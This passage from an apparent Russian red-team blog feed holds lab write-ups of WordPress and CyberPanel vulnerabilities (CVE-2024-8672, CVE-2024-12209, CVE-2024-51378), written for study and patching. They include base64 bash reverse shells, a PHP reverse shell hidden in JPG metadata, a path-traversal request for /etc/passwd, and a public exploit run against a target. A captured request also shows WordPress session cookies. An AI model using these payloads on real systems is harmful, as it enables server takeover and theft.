User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Cookie: wordpress_1b6551980342ecf58eebf5856affe450=giscyber%7C1734595337%7CF8sUnAXgLkDM8n7uBpdWopkriSjO1WFUnF91dG5D8rT%7C8fa7c9c6dcc8623f61635c8ada3264d95e587a7707d0e7b3c400e74863995bbe; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_1b6551980342ecf58eebf5856affe450=giscyber%7C1734595337%7CF8sUnAXgLkDM8n7uBpdWopkriSjO1WFUnF91dG5D8rT%7C4588a3ce29d09a5b7e7ddf6db7e3abe10380154abd51cdd4db3e31b16a4e13c2; wp-settings-time-3=1734422641&lt;/pre&gt;
  &lt;p id=&quot;tuSc&quot;&gt;Здесь параметр &lt;code&gt;GET&lt;/code&gt; &lt;code&gt;attributes[extended_widget_opts][class][logic]&lt;/code&gt; передается в функцию &lt;code&gt;PHP&lt;/code&gt; &lt;code&gt;eval&lt;/code&gt;, которая выполняет переданный ей аргумент как код &lt;code&gt;PHP&lt;/code&gt;. При этом значение данного параметра содержит вызов функции &lt;code&gt;system&lt;/code&gt;, что позволяет исполнять переданный аргумент как команду в терминале операционной системы сервера.&lt;/p&gt;
  &lt;p id=&quot;EkPS&quot;&gt;Таким образом, в терминал операционной системы сервера передается команда &lt;code&gt;echo YmFzaCAtaSA JiAvZGV2L3RjcC8xNzIuMjAuMTAuNy85MDkwIDAJjE= | base64 -d | bash&lt;/code&gt;, которая представляет собой инструкцию для отправки обратного шелла (или &lt;code&gt;reverse shell&lt;/code&gt;) на атакующую машину. Эта команда декодирует закодированную строку с помощью &lt;code&gt;base64&lt;/code&gt; и передает результат в интерпретатор &lt;code&gt;bash&lt;/code&gt;, что позволяет получить удаленный доступ к системе и выполнять произвольные команды.&lt;/p&gt;
  &lt;blockquote id=&quot;zZGK&quot;&gt;Reverse shell — это метод удаленного доступа, при котором целевая машина устанавливает соединение с атакующей машиной, позволяя выполнять команды на целевой системе. В отличие от обычного шелла, где атакующий инициирует соединение, в reverse shell инициатором является жертва, что помогает обойти некоторые меры безопасности, такие как брандмауэры.&lt;/blockquote&gt;
  &lt;h3 id=&quot;VIlo&quot;&gt;Причины уязвимости&lt;/h3&gt;
  &lt;p id=&quot;77Ld&quot;&gt;Причина уязвимости тривиальна: разработчики передают &lt;code&gt;GET&lt;/code&gt;-параметр в функцию &lt;code&gt;eval&lt;/code&gt; без каких-либо проверок или валидации. Ниже представлен код функции, в которую передается уязвимый &lt;code&gt;GET&lt;/code&gt;-параметр до устранения данной уязвимости:&lt;/p&gt;
  &lt;pre id=&quot;1nrD&quot;&gt;function widgetopts_safe_eval($expression)
{
    ob_start();
    try {
        $result = (bool) eval(&amp;quot;return $expression;&amp;quot;);
    } catch (Throwable $e) {
        return false;
    }
    ob_end_clean();

    return $result;
}&lt;/pre&gt;
  &lt;p id=&quot;6SSN&quot;&gt;Как видно, к выражению не применяются никакие фильтры, и оно сразу передается в функцию &lt;code&gt;eval&lt;/code&gt;. После исправления разработчик внедрил фильтрацию потенциально опасных функций &lt;code&gt;PHP&lt;/code&gt;, в результате чего функция была модифицирована следующим образом:&lt;/p&gt;
  &lt;pre id=&quot;CUat&quot;&gt;function widgetopts_safe_eval($expression)
{
    // List of potentially harmful patterns
    $dangerous_patterns = [
        // Database-related keywords
        &amp;#x27;/\binsert\b/i&amp;#x27;,
        &amp;#x27;/\bupdate\b/i&amp;#x27;,
        &amp;#x27;/\bdelete\b/i&amp;#x27;,
        &amp;#x27;/\breplace\b/i&amp;#x27;,
        &amp;#x27;/\bselect\b/i&amp;#x27;,
        &amp;#x27;/\bdrop\b/i&amp;#x27;,
        &amp;#x27;/\balter\b/i&amp;#x27;,

        // WordPress-specific database functions
        &amp;#x27;/\bwp_insert_post\b/i&amp;#x27;,
        &amp;#x27;/\bwp_update_post\b/i&amp;#x27;,
        &amp;#x27;/\bwp_delete_post\b/i&amp;#x27;,
        &amp;#x27;/\bwp_insert_user\b/i&amp;#x27;,
        &amp;#x27;/\bwp_update_user\b/i&amp;#x27;,
        &amp;#x27;/\bwp_delete_user\b/i&amp;#x27;,
        &amp;#x27;/\badd_option\b/i&amp;#x27;,
        &amp;#x27;/\bupdate_option\b/i&amp;#x27;,
        &amp;#x27;/\bdelete_option\b/i&amp;#x27;,
        &amp;#x27;/\bwpdb\b/i&amp;#x27;,

        // JavaScript, CSS, and HTML
        &amp;#x27;/&amp;lt;script\b[^&amp;gt;]*&amp;gt;(.*?)&amp;lt;\/script&amp;gt;/i&amp;#x27;,
        &amp;#x27;/&amp;lt;style\b[^&amp;gt;]*&amp;gt;(.*?)&amp;lt;\/style&amp;gt;/i&amp;#x27;,

        // PHP file manipulation functions
        &amp;#x27;/\bfile_put_contents\b/i&amp;#x27;,
        &amp;#x27;/\bfile_get_contents\b/i&amp;#x27;,
        &amp;#x27;/\bfopen\b/i&amp;#x27;,
        &amp;#x27;/\bfwrite\b/i&amp;#x27;,
        &amp;#x27;/\bunlink\b/i&amp;#x27;,
        &amp;#x27;/\brename\b/i&amp;#x27;,
        &amp;#x27;/\bchmod\b/i&amp;#x27;,
        &amp;#x27;/\bchown\b/i&amp;#x27;,
        &amp;#x27;/\bcopy\b/i&amp;#x27;,
        &amp;#x27;/\bscandir\b/i&amp;#x27;,

        // External connections
        &amp;#x27;/\bwp_remote_get\b/i&amp;#x27;,
        &amp;#x27;/\bwp_remote_post\b/i&amp;#x27;,
        &amp;#x27;/\bcurl_init\b/i&amp;#x27;,
        &amp;#x27;/\bstream_context_create\b/i&amp;#x27;,

        // Reflection and dynamic variable/function manipulation
        &amp;#x27;/\bReflectionClass\b/i&amp;#x27;,
        &amp;#x27;/\bReflectionMethod\b/i&amp;#x27;,
        &amp;#x27;/\bReflectionProperty\b/i&amp;#x27;,
        &amp;#x27;/\bcall_user_func\b/i&amp;#x27;,
        &amp;#x27;/\bcall_user_func_array\b/i&amp;#x27;,
        &amp;#x27;/\bextract\b/i&amp;#x27;,
        &amp;#x27;/\bparse_str\b/i&amp;#x27;,

        // System commands
        &amp;#x27;/\beval\b/i&amp;#x27;,
        &amp;#x27;/\bsystem\b/i&amp;#x27;,
        &amp;#x27;/\bshell_exec\b/i&amp;#x27;,
        &amp;#x27;/\bexec\b/i&amp;#x27;,
        &amp;#x27;/\bpassthru\b/i&amp;#x27;,
        &amp;#x27;/\bpopen\b/i&amp;#x27;
    ];

    $return = true;
    // Pattern matching
    foreach ($dangerous_patterns as $pattern) {
        if (preg_match($pattern, $expression)) {
            $return = false;
            break;
        }
    }

    if ($return === false) {
        return $return;
    }

    if (stristr($expression, &amp;quot;return&amp;quot;) === false) {
        $expression = &amp;quot;return (&amp;quot; . $expression . &amp;quot;);&amp;quot;;
    }

    ob_start();
    try {
        $result = (bool) (@eval($expression));
    } catch (\Exception $e) {
        $result = false;
    } catch (\Error $e) {
        $result = false;
    } catch (\ParseError $e) {
        $result = false;
    } catch (\Throwable $e) {
        $result = false;
    }
    ob_end_clean();

    return $result;
}&lt;/pre&gt;
  &lt;blockquote id=&quot;oMOd&quot;&gt;Стоит отметить, что примененный в решении разработчика подход &amp;quot;черного списка&amp;quot; является менее безопасным по сравнению с подходом &amp;quot;белого списка&amp;quot;. Более надежным вариантом было бы составить список разрешенных функций, а не список запрещенных, что значительно снизило бы риск эксплуатации уязвимостей и повысило бы общую безопасность приложения.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;V7xW&quot;&gt;Заключение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;Hhyf&quot;&gt;В заключение, уязвимость &lt;code&gt;CVE-2024-8672&lt;/code&gt;, обладающая высоким уровнем критичности с оценкой &lt;code&gt;CVSS 9.9&lt;/code&gt;, представляет серьезную угрозу для безопасности приложений, позволяя пользователям с правами &lt;code&gt;Contributor&lt;/code&gt; и выше выполнять удаленное исполнение кода на сервере. Это может привести к компрометации данных и нарушению работы системы. &lt;/p&gt;
  &lt;p id=&quot;565T&quot;&gt;В связи с этим, настоятельно рекомендуется всем пользователям обновить плагин до последней версии (на момент написания статьи - &lt;code&gt;4.0.8&lt;/code&gt;), в которой данная уязвимость была устранена.&lt;/p&gt;
  &lt;p id=&quot;MS7Z&quot;&gt;Сегодня мы рассмотрим критическую уязвимость в плагине &lt;code&gt;WordPress&lt;/code&gt;, затрагивающую более &lt;code&gt;100,000 сайтов&lt;/code&gt;. Данная уязвимость имеет высокую оценку &lt;code&gt;CVSS 9.9&lt;/code&gt; и предоставляет пользователям с правами &lt;code&gt;Contributor&lt;/code&gt; и выше возможность &lt;code&gt;удаленного выполнения вредоносного кода&lt;/code&gt; на сервере приложения.&lt;/p&gt;

</content></entry><entry><id>giscyberteam:wordpress_umbrella_cve_2024_12209</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/wordpress_umbrella_cve_2024_12209?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>Критическая уязвимость в Wordpress-плагине WP Umbrella (CVE-2024-12209)</title><published>2024-12-17T15:16:38.840Z</published><updated>2024-12-17T15:16:38.840Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/8a/32/8a32d083-28c1-4f8b-9a0f-8e847b60d4d6.png"></media:thumbnail><category term="vulnerability" label="Vulnerability"></category><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/fb/4c/fb4c1b82-fae0-471f-a915-1ed6d84a8b06.png&quot;&gt;В популярном плагине WordPress — WP Umbrella, установленном более чем на 30 000 сайтов, была обнаружена критическая уязвимость. Этот недостаток, получивший идентификатор CVE-2024-12209, может позволить неавторизованным злоумышленникам полностью захватить контроль над уязвимыми сайтами.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;EWor&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;zPaj&quot;&gt;В популярном плагине &lt;code&gt;WordPress&lt;/code&gt; — &lt;code&gt;WP Umbrella&lt;/code&gt;, установленном более чем на &lt;code&gt;30 000&lt;/code&gt; сайтов, была обнаружена критическая уязвимость. Этот недостаток, получивший идентификатор &lt;code&gt;CVE-2024-12209&lt;/code&gt;, может позволить неавторизованным злоумышленникам полностью захватить контроль над уязвимыми сайтами.&lt;/p&gt;
  &lt;p id=&quot;hkNZ&quot;&gt;Уязвимость имеет оценку в &lt;code&gt;9.8&lt;/code&gt; баллов по &lt;code&gt;CVSS&lt;/code&gt;.&lt;/p&gt;
  &lt;blockquote id=&quot;KMdx&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;yGlo&quot;&gt;Для чего используется плагин WP Umbrella&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;UkiP&quot;&gt;&lt;strong&gt;WP Umbrella&lt;/strong&gt; — это плагин для управления &lt;code&gt;WordPress&lt;/code&gt;-сайтами, который облегчает мониторинг, управление и обслуживание множества сайтов с одной центральной панели. Этот инструмент особенно полезен для разработчиков, агентств и владельцев бизнеса, которые обслуживают несколько сайтов &lt;code&gt;WordPress&lt;/code&gt;.&lt;/p&gt;
  &lt;figure id=&quot;w9NF&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1f/a7/1fa7b6bf-6f84-416d-b15b-f95b6aec05eb.png&quot; width=&quot;355&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;JKY0&quot;&gt;Подготовка стендового окружения&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;irj8&quot;&gt;Для работы &lt;code&gt;WordPress&lt;/code&gt; необходимо установить веб-сервер с поддержкой &lt;code&gt;PHP&lt;/code&gt;, а также поднять &lt;code&gt;MySQL&lt;/code&gt;. В качестве тестового окружения будет использоваться &lt;a href=&quot;https://www.apachefriends.org/ru/index.html&quot; target=&quot;_blank&quot;&gt;XAMPP&lt;/a&gt;.&lt;/p&gt;
  &lt;h3 id=&quot;mMeS&quot;&gt;Установка WordPress&lt;/h3&gt;
  &lt;p id=&quot;lI99&quot;&gt;Заходим на &lt;a href=&quot;https://wordpress.org/download/&quot; target=&quot;_blank&quot;&gt;страницу загрузки&lt;/a&gt; &lt;code&gt;WordPress&lt;/code&gt; и скачиваем последнюю версию:&lt;/p&gt;
  &lt;figure id=&quot;PbsT&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0e/e9/0ee916de-bbc6-48dc-93c8-89d9545aed8c.png&quot; width=&quot;1908&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;82m3&quot;&gt;Теперь нужно разархивировать &lt;code&gt;WordPress&lt;/code&gt; и перенести его в корневой каталог веб-сервера (для XAMPP - &lt;code&gt;/opt/lampp/htdocs&lt;/code&gt;):&lt;/p&gt;
  &lt;pre id=&quot;VTij&quot;&gt;cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/&lt;/pre&gt;
  &lt;p id=&quot;SVAl&quot;&gt;Также нужно изменить владельца папки &lt;code&gt;wordpress&lt;/code&gt; на пользователя веб-сервера (в случае с XAMPP - &lt;code&gt;daemon&lt;/code&gt;):&lt;/p&gt;
  &lt;pre id=&quot;Ys6S&quot;&gt;sudo chown -R daemon:daemon /opt/lampp/htdocs&lt;/pre&gt;
  &lt;p id=&quot;2P08&quot;&gt;Дальнейшая установка происходит в &lt;code&gt;GUI WordPress&lt;/code&gt;. Чтобы перейти к нему в браузере заходим на &lt;a href=&quot;http://127.0.0.1/wordpress&quot; target=&quot;_blank&quot;&gt;http://127.0.0.1/wordpress&lt;/a&gt;&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;5mlf&quot;&gt;Разбор уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;g9Qm&quot;&gt;&lt;code&gt;LFI&lt;/code&gt; (&lt;code&gt;Local File Inclusion&lt;/code&gt;) — это уязвимость в веб-приложениях, которая позволяет злоумышленнику включать файлы с локального сервера в контексте работы приложения. Обычно она возникает из-за недостаточной обработки входных данных в функциях, которые динамически подключают файлы, например, в &lt;code&gt;PHP&lt;/code&gt; через &lt;code&gt;include&lt;/code&gt;, &lt;code&gt;require&lt;/code&gt;, &lt;code&gt;include_once&lt;/code&gt; или &lt;code&gt;require_once&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;SEkB&quot;&gt;&lt;code&gt;LFI&lt;/code&gt; в &lt;code&gt;WP Umbrella&lt;/code&gt; доступна через параметр &lt;code&gt;filename&lt;/code&gt; в функции &lt;code&gt;umbrella-restore.&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;4evi&quot;&gt;В статье будет рассмотрено два вектора эксплуатации уязвимости:&lt;/p&gt;
  &lt;ol id=&quot;2a6N&quot;&gt;
    &lt;li id=&quot;WRYV&quot;&gt;Для пользователя с ролью “&lt;code&gt;Участник&lt;/code&gt;”, которому не доступна загрузка медиафайлов.&lt;/li&gt;
    &lt;li id=&quot;DSc6&quot;&gt;Для пользователя с ролью “&lt;code&gt;Автор&lt;/code&gt;”, которому доступна загрузка медиафайлов.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;h3 id=&quot;ynq2&quot;&gt;Первый вектор&lt;/h3&gt;
  &lt;p id=&quot;7kmB&quot;&gt;Для эксплуатации используем уже существующий &lt;a href=&quot;https://github.com/RandomRobbieBF/CVE-2024-12209&quot; target=&quot;_blank&quot;&gt;PoC&lt;/a&gt;.&lt;/p&gt;
  &lt;pre id=&quot;wpvR&quot;&gt;https://wp-dev.ddev.site/?umbrella-restore=1&amp;amp;filename=../../../../../../etc/passwd&lt;/pre&gt;
  &lt;figure id=&quot;n5UC&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9c/61/9c61b604-d2ce-4fd7-a3de-de3848ee8ebd.png&quot; width=&quot;1914&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3 id=&quot;W5Ju&quot;&gt;Второй вектор&lt;/h3&gt;
  &lt;p id=&quot;U2ts&quot;&gt;Подготовим &lt;code&gt;jpg&lt;/code&gt; файл, который нужно будет загрузить на сервер. При помощи &lt;code&gt;ExifTool&lt;/code&gt; добавим в комментарий &lt;code&gt;Reverse Shell&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;qiM9&quot;&gt;exiftool -Comment=&amp;quot;&amp;lt;?php system(&amp;#x27;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash&amp;#x27;)?&amp;gt;&amp;quot; name.jpg&lt;/pre&gt;
  &lt;figure id=&quot;Sp9A&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/80/e8/80e82b7f-c17f-46bb-ab23-ec8420c9e3cb.png&quot; width=&quot;1056&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;16To&quot;&gt;Чтобы загрузить файл, необходимо перейти во вкладку “&lt;code&gt;Медиафайлы&lt;/code&gt;” и нажать “&lt;code&gt;Добавить новый медиафайл&lt;/code&gt;”.&lt;/p&gt;
  &lt;figure id=&quot;wVyn&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3d/dd/3ddd910a-aaf0-4617-8295-556a0f147948.png&quot; width=&quot;845&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;MCK3&quot;&gt;Когда файл загружен необходимо узнать по какому пути он находится, для этого можно скопировать &lt;code&gt;URL&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;YOGp&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1c/b6/1cb63027-8cb2-41f5-9576-85b5f0da5458.png&quot; width=&quot;1038&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;xH7X&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ae/81/ae815dbb-4d41-44a8-9a8d-a654897e4465.png&quot; width=&quot;1911&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tjDO&quot;&gt;От лица атакующего необходимо запустить слушателя:&lt;/p&gt;
  &lt;pre id=&quot;YetE&quot;&gt;nc -lvnp 4444&lt;/pre&gt;
  &lt;p id=&quot;xVbf&quot;&gt;Теперь при помощи &lt;code&gt;LFI&lt;/code&gt; можно открыть этот файл:&lt;/p&gt;
  &lt;pre id=&quot;8CEb&quot;&gt;http://localhost/?umbrella-restore=1&amp;amp;filename=wp-content/uploads/2024/12/maxresdefault.jpg&lt;/pre&gt;
  &lt;p id=&quot;DpMt&quot;&gt;Получаем &lt;code&gt;connect&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;jUFx&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/95/82/95820ff5-0851-4072-96a5-e5b16c397718.png&quot; width=&quot;633&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;vJ7R&quot;&gt;Прочитаем флаг:&lt;/p&gt;
  &lt;figure id=&quot;mApH&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f5/77/f5774ec8-3656-452e-9487-d44fe23e3ecb.png&quot; width=&quot;641&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;ZsQ0&quot;&gt;Рекомендации по устранению&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;slBx&quot;&gt;Для предотвращения подобных атак настоятельно рекомендуется:&lt;/p&gt;
  &lt;ul id=&quot;SvgF&quot;&gt;
    &lt;li id=&quot;dI7D&quot;&gt;Немедленно обновлять плагин до исправленной версии.&lt;/li&gt;
    &lt;li id=&quot;bEmQ&quot;&gt;Применять передовые методы безопасности, включая регулярное резервное копирование и использование веб-файерволов.&lt;/li&gt;
    &lt;li id=&quot;2vwD&quot;&gt;Следить за обновлениями системы и её компонентов.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;AHkZ&quot;&gt;Заключение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;dSx3&quot;&gt;&lt;code&gt;CVE-2024-12209&lt;/code&gt; демонстрирует критическую важность регулярного мониторинга и обновления используемых плагинов для &lt;code&gt;WordPress&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;bAA5&quot;&gt;Уязвимость в &lt;code&gt;WP Umbrella&lt;/code&gt;, связанная с локальным включением файлов, позволяет атакующим осуществлять удалённое выполнение кода, что приводит к серьёзным последствиям, включая утечку данных и полный контроль над сервером.&lt;/p&gt;

</content></entry><entry><id>giscyberteam:cyberpanel_cve_2024_51378</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/cyberpanel_cve_2024_51378?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>CyberPanel Command Injection Vulnerability (CVE-2024-51378)</title><published>2024-12-16T07:24:00.842Z</published><updated>2024-12-16T07:24:00.842Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/12/6f/126f48c2-ca56-4fea-a31f-d40764a17346.png"></media:thumbnail><category term="vulnerability" label="Vulnerability"></category><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/e6/da/e6daf4fb-c366-402c-bb64-8747651abf79.png&quot;&gt;В программном обеспечении CyberPanel обнаружена уязвимость, связанная с обходом аутентификации и выполнением произвольных команд через эндпоинты /dns/getresetstatus и /ftp/getresetstatus. Уязвимость присутствует в файлах dns/views.py и ftp/views.py версий до 2.3.7 включительно.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;AiCm&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;AyHe&quot;&gt;В программном обеспечении &lt;code&gt;CyberPanel&lt;/code&gt; обнаружена уязвимость, связанная с обходом аутентификации и выполнением произвольных команд через эндпоинты &lt;code&gt;/dns/getresetstatus&lt;/code&gt; и &lt;code&gt;/ftp/getresetstatus&lt;/code&gt;. Уязвимость присутствует в файлах &lt;code&gt;dns/views.py&lt;/code&gt; и &lt;code&gt;ftp/views.py&lt;/code&gt; версий до &lt;code&gt;2.3.7&lt;/code&gt; включительно.&lt;/p&gt;
  &lt;blockquote id=&quot;mb1l&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;kqyG&quot;&gt;Что такое CyberPanel&lt;/h1&gt;
  &lt;/section&gt;
  &lt;p id=&quot;zcBC&quot;&gt;&lt;strong&gt;CyberPanel&lt;/strong&gt; — это популярная бесплатная (с премиум-версией) панель управления сервером с открытым исходным кодом, разработанная для управления веб-хостингом и серверными ресурсами.&lt;/p&gt;
  &lt;p id=&quot;HQW4&quot;&gt;Она позволяет администраторам удобно управлять сайтами, доменами, базами данных, почтовыми сервисами и другими функциями через графический веб-интерфейс.&lt;/p&gt;
  &lt;p id=&quot;5K22&quot;&gt;&lt;code&gt;CyberPanel&lt;/code&gt; особенно востребована среди небольших хостинговых компаний, разработчиков и владельцев сайтов, благодаря своей простоте использования и поддержке современных технологий.&lt;/p&gt;
  &lt;figure id=&quot;9Req&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e6/da/e6daf4fb-c366-402c-bb64-8747651abf79.png&quot; width=&quot;1106&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;CS6O&quot;&gt;Подготовка стендового окружения&lt;/h1&gt;
  &lt;/section&gt;
  &lt;p id=&quot;CKh1&quot;&gt;Для эксплуатирования уязвимости будет использоваться &lt;code&gt;VPS&lt;/code&gt;, на которой используется &lt;code&gt;CyberPanel&lt;/code&gt; уязвимой версии.&lt;/p&gt;
  &lt;p id=&quot;Aav4&quot;&gt;Для установки необходимо выполнить следующие команды:&lt;/p&gt;
  &lt;p id=&quot;T0Ii&quot;&gt;Обновить кэш пакетного менеджера:&lt;/p&gt;
  &lt;pre id=&quot;kyZ3&quot;&gt;apt-get update&lt;/pre&gt;
  &lt;p id=&quot;1mtv&quot;&gt;Установить утилиту &lt;code&gt;wget&lt;/code&gt; и скачать установочный скрипт:&lt;/p&gt;
  &lt;pre id=&quot;T4dJ&quot;&gt;apt install wget
cd /opt
wget -O installer.sh &amp;lt;https://cyberpanel.net/install.sh&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;6qMg&quot;&gt;Запустить скрипт:&lt;/p&gt;
  &lt;pre id=&quot;GhN1&quot;&gt;chmod +x installer.sh
sh installer.sh&lt;/pre&gt;
  &lt;p id=&quot;dIwa&quot;&gt;Далее идет конфигурирование панели перед установкой.&lt;/p&gt;
  &lt;p id=&quot;JWuD&quot;&gt;По окончании процедуры установки будет такой вывод:&lt;/p&gt;
  &lt;figure id=&quot;Eyoz&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f9/58/f958ba17-290d-43a9-804b-0a0d75a40c2a.png&quot; width=&quot;682&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;7hqH&quot;&gt;Когда операционная система сервера загрузится, откройте в браузере вебстраницу &lt;code&gt;https://&amp;lt;IP_вашего_сервера&amp;gt;:8090&lt;/code&gt;.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;iLCZ&quot;&gt;Разбор уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;YoPV&quot;&gt;&lt;code&gt;RCE (Remote Code Execution)&lt;/code&gt; — это тип уязвимости в программном обеспечении, позволяющий злоумышленнику удалённо выполнять произвольный код на сервере или устройстве, уязвимом к данной атаке. &lt;code&gt;RCE&lt;/code&gt; считается одной из наиболее опасных уязвимостей, так как она предоставляет атакующему практически полный контроль над целевой системой.&lt;/p&gt;
  &lt;p id=&quot;ZIEf&quot;&gt;Для демонстрации эксплуатации воспользуемся публичным эксплойтом:&lt;/p&gt;
  &lt;pre id=&quot;mn3E&quot;&gt;git clone https://github.com/refr4g/CVE-2024-51378.git&lt;/pre&gt;
  &lt;p id=&quot;LUlw&quot;&gt;Запустим скрипт:&lt;/p&gt;
  &lt;pre id=&quot;ImjL&quot;&gt;cd CVE-2024-51378
python3 CVE-2024-51378.py http://target.com:8090 /ftp/getresetstatus&lt;/pre&gt;
  &lt;figure id=&quot;FNUi&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8f/48/8f485918-b427-4088-ae39-8f40560bfc91.png&quot; width=&quot;642&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;jjbH&quot;&gt;Получаем &lt;code&gt;root&lt;/code&gt;-флаг:&lt;/p&gt;
  &lt;figure id=&quot;8ONc&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d6/bf/d6bffe26-0a66-44a7-914e-b288a39b9d15.png&quot; width=&quot;667&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;S3hj&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c4/57/c4578991-db81-48e2-b173-47052d1ad1f7.png&quot; width=&quot;586&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;YmUS&quot;&gt;Рекомендации по устранению&lt;/h1&gt;
  &lt;/section&gt;
  &lt;ol id=&quot;rHwV&quot;&gt;
